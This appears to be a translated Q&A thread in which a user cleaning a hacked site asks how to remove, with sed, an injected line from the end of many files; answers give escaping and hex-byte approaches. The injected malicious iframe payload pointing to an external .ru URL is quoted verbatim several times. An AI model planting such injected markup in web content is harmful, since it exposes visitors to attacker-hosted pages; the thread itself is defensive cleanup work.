複雑な文字列を処理するのに大きな問題があります。友達のサイトがハッキングされ閉鎖されました。しかし、私は残りの混乱を整理するのを手伝っています。
各ディレクトリに再帰し、ファイルの末尾に次の文字列がある場合は、その文字列を削除します。
;document.write('<iframe src="http://efficienttrue.ru/upwherehandpainted.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>');
ご覧のとおり、文字列には一重引用符と二重引用符だけでなく、他の特殊文字も含まれています。各特殊文字の前に\エスケープを追加してみましたが、うまくいかないようです。私はこれを試しました:
grep -rl efficienttrue.ru . | xargs sed -i "s/\;document\.write\(\'\<iframe\ src\=\"http\:\/\/efficienttrue\.ru\/upwherehandpainted\.cgi\?8\"\ scrolling\=\"auto\"\ frameborder\=\"no\"\ align\=\"center\"\ height\=\"13\"\ width\=\"13\"\>\<\/iframe\>\'\)\;/\/g"
ただし、次のエラーが発生します。
sed: -e expression #1, char 201: unterminated `s' command
答え1
次のようなものを探しているようです。
sed '${s/document\.write([^)]*);//}'
ただし、損傷を修復するためにこの手順を使用しないことをお勧めします。
答え2
はい、バックアップから復元する方が良いです。しかし、sedの場合:
sed -i '.bak' -e '$ {\!^;document\.write('\''<iframe src="http://efficienttrue\.ru/upwherehandpainted\.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>'\'');$! d; }' FILENAME
FILENAMEが次のものであるかどうかにかかわらず、これをテストしました\n
。ただし、削除される行は常に最後の行($ { ... }
。
答え3
はい、バックアップが良いです。しかし、交換に固執して面倒な脱出を避けたい場合は、ここに一般的な解決策があります。
問題のある文字列をファイルに保存し、追加の文字(UTF BOMプレフィックスや行末など)が追加されていないことを確認してください。
xxd spec-chars.sample
文字列をエスケープされたバイト列に変換
od -t x1 -v -A n spec-chars.sample | sed s/\ /\\\\x/g | tr -d \\n && echo
いくつかのテストケースの作成
cat spec-chars-positive asdfasdfsd ;document.write('<iframe src="http://efficienttrue.ru/upwherehandpainted.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>'); cat spec-chars-negative asdfasdfsd ;document.write('<iframe src="http://efficienttrue.ru/upwherehandpainted.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>'); qwer
コードが期待どおりに機能していることを確認する
grep -l efficienttrue spec-chars-* | xargs sed \$s/`od -t x1 -v -A n spec-chars.sample | sed s/\ /\\\\x/g | tr -d \\n`//
実際の交換を行う
grep -rl efficienttrue.ru . | xargs sed -ibak --follow-symlinks \$s/`od -t x1 -v -A n spec-chars.sample | sed s/\ /\\\\x/g | tr -d \\n`//